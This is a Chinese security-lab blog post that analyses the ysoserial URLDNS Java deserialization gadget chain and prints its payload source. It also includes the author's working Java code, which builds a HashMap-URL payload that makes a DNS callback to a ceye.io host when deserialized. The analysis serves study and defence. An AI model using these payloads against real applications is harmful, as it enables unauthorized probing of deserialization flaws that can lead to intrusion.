点击蓝字 关注我们
日期:2022-06-23 作者:ICDAT 介绍:这篇文章主要是对 URLDNS
反序列化链分析。
0x00 前言
我们之前分析了 ysoserial CommonsCollections 5
和 ysoserial CommonsCollections 6
的利用链,如果对比其利用链条,会发现其 LazyMap.get()
到 Runtime.exec()
走的是一条路。
而在 java
反序列的分析上,一上来啃 ysoserial CommonsCollections 5
是比较难的,但是刚开始分析的时候,网上对 CC5
的分享实在太多了,走着走着就入了坑。
虽然走了一条比较艰难的路,但是路越难走,坚持下来,获取的就更多,基于 CommonsCollections 5
的分析,我们可以更方便的来看 URLDNS
。
分析环境:jdk 1.8.0
0x01 Ysoserial payload
上来先看一下 ysoserial
的 payload
。
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
这是我第一次来看 ysoserial
里的 payload
,之前都是自己我们来写的序列化和反序列化方法。
大致看一下结构,getObject
方法是来构造利用链的,main
方法是序列化 args
后,反序列执行的。SilentURLStreamHandler
方法继承了 URLStreamHandler
方法,并重写了openConnection
方法和 getHostAddress
方法,并且返回为空。
看一下详细的利用链:
Gadget Chain:
HashMap.putVal()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hachCode()
URLStreamHandler.getHostAddress()
InetAddress.getByName()
InetAddress.getAllByName()
我们看到了熟悉的 HashMap
,在之前对 CommonsCollections 6
利用链分析的时候,它是通过下面的方式来执行代码的。
Gadget chain:
ObjectInputStream.readObject()
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashcode()
LazyMap.get()
老规矩,从后往前分析。从 java.net.IpnetAddress
类开始分析。
0x02 InetAddress
java.net.InetAddress
类实现了 Serializable
接口。
在其中查找 getAllByName
方法,查看其逻辑,大致描述一下就是通过对传入的 host
进行判断,如果是一个域名,那么调用 getAllByName0
方法,获取其主机的 ip
,简单来说就是一个 DNS
查询的过程。
而 getByName()
调用了 getAllByName()
方法。
URLDNS
的利用链实现的就是传入 url
,进行一次 DNS
查询。
我们尝试来进行一次 DNS
查询,我这里使用的 ceye
。
public class dnsQuery {
public static void main(String[] args) throws Exception {
InetAddress byName = InetAddress.getByName("xxx.ceye.io");
System.out.println(byName.getHostAddress());
}
}
0x03 URLStreamHandler
java.net.URLStreamHandler
是一个抽象类。
熟悉序列化的这里应该存在一个疑问, URLStreamHandler
是一个抽象类,怎么被序列化?
我们先不管,继续分析,其 hashCode()
方法中调用了 getHostAddress()
方法。
getHostAddress
方法,对传入的 url
,获取其 host
的 IP
地址。
调用 hachCode
方法,需要传入一个 URL
对象。
那么相关的链:
hashcode->getHostAddress->InetAddress.getByName->InetAddress.getByName0
这里我们反过来看 ysoserial
的 payload
,其重写了 URLStreamHandler.getHostAddress
,并且返回为空。那么就无法进行 DNS
查询了。至于为什么这么做,我们需要继续分析。
0x04 URL
查看 java.net.URL
,实现了 Serializable
接口。其中 URLStreamHandler
被 transient
关键字修饰。
了解一下 transient
关键字:
transient
只能用来修饰成员变量(field
),被transient
修饰的成员变量不参与序列化过程。
在序列化的过程中,可以允许被序列对象中的某个成员变量不参与序列化,即该对象完成序列化之后,被transient
修饰的成员变量会在字节序列中消失。
那么handler
在序列化之后的值应该为null
。那应该无法继续反序列化了呀?这个问题我们在全部分析完后再去分析。
查看其 hashCode
方法,当 handler
为 -1
的时候,会调用 URLStreamHandler.hashCode
方法。
查看URL
的构造方法,其存在三种构造方法,但是本质上都是通过public URL(URL context, String spec, URLStreamHandler handler)
来构造的。
public URL(String spec) throws MalformedURLException {
this(null, spec);
}
public URL(URL context, String spec) throws MalformedURLException {
this(context, spec, null);
}
public URL(URL context, String spec, URLStreamHandler handler) throws MalformedURLException
{
...
}
在构造方法中没有发现修改 hashcode
的代码,设置了为了初始值,默认为 -1
。
即下列代码就可以触发一次 DNS
查询。
public class URLhashcode{
public static void main(String[] args) throws Exception {
URL url = new URL("http://xxx.ceye.io");
url.hashCode();
}
}
但是这个代码,不能来序列化,因为我们没有在 URL.readObject()
方法中找到调用 URL.hashCode()
的方法。
但是对比 CommonsCollections 6
利用链,我们可以很轻易的类比,从 TiedMapEntry.hashcode()
到HashMap.hash()
,那么我们也可以利用 HashMap.hash()
。
0x05 HashMap
java.util.HashMap
实现了 serializable
接口。
其 hash()
方法,调用了 hashCode()
方法,我们只需要 HashMap
中添加URL
对象就可以。
而且 HashMap.readObjct
方法,也调用了 HashMap.hash()
方法。
基于此,我们可以尝试这么写代码。
import java.io.*;
import java.net.URL;
import java.util.HashMap;
public class URLSerialize {
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
URL url = new URL("http://******.ceye.io");
hashMap.put(url,1);
serialize(hashMap);
deserialize();
}
public static void serialize(Object obj){
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
} catch (IOException e) {
e.printStackTrace();
}
}
public static void deserialize(){
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
is.readObject();
}catch (Exception e){
e.printStackTrace();
}
}
}
直接运行,成功收到 DNS
记录。
但是根据之前对 CommonsCollections 6
的利用链分析, HashMap.put()
方法也会调用 HashMap.hash()
方法,从而直接 DNS
查询。
所以为了保证在反序列化过程中触发 DNS
查询,我们需要保证 HashMap.put()
方法时,不触发 DNS
查询,那么我们可以设置在 put
之前 hashcode
的值不为-1
, put
之后 hashcode
的值为 -1
来实现。
我们可以通过反射来修改 URL
类中 private
修改的变量。那么代码如下:
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLSerialize {
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
URL url = new URL("http://blwak0.ceye.io");
Class aClass = Class.forName("java.net.URL");
Field hashCode = aClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,123);
hashMap.put(url,1);
hashCode.set(url,-1);
serialize(hashMap);
deserialize();
}
public static void serialize(Object obj){
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
} catch (IOException e) {
e.printStackTrace();
}
}
public static void deserialize(){
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
is.readObject();
}catch (Exception e){
e.printStackTrace();
}
}
}
可以正常执行 DNS
请求......
分析到这里,我们再回头看 ysoserial payload
,就会发现,其通过继承 URLStreamHandler
类,并重写 getHostAddress
方法,巧妙的避免了 hashMap.put()
方法执行时的一次 DNS
请求。
至于 openConnection
方法,是因为 URLStreamHandler
作为抽象类,在继承的时候,需要重写其抽象方法。
0x06 handler
那么我们来看一下 handler
的问题。
因为被 transient
关键字修饰,所以 handler
不被序列化,那么反序列化后的 handler
应该为 null
。
但是在反序列化 URL
时, URL
的 readObject
方法中设置了 template
属性。
然后 URL
类还存在一个 readResolve
方法。该方法多用于一个类反序列化生成的对象和原类对象不同,从而使用该方法,直接返回 Person
的单例对象。
无论 Serializable
接口,或是 Externalizable
接口,当从 I/O
流中读取对象时, readResolve()
方法都会被调用到。实际上就是用 readResolve()
中返回的对象直接替换在反序列化过程中创建的对象,而被创建的对象则会被垃圾回收掉。
通俗一点说就是,通过 readResolve()
直接返回了一个类对象。
那么我们看 URL.readResolve
方法。通过 tempState.getProtocol
获取了 handler
。
在 setDeserializedFields
方法里设置了 handler
的值。
那么其实在反序列化后 handler
的值不为 null
。
0x07 结语
分析 URLDNS
的时候,发现基于 jdk1.8
的分析还是比较少,对 handler
的解析,有些文章没有提及到。总的来说,一步步分析下来,感觉利用链比较简单,但是对 readResolve()
的学习还是很 nice
的。
https://blog.xungong68.com/147.html
https://ego00.blog.csdn.net/article/details/119678492
往期回顾
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
宸极实验室
Cyber Security Lab
宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。
原文始发于微信公众号(宸极实验室):『代码审计』ysoserial URLDNS 反序列化分析(四)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论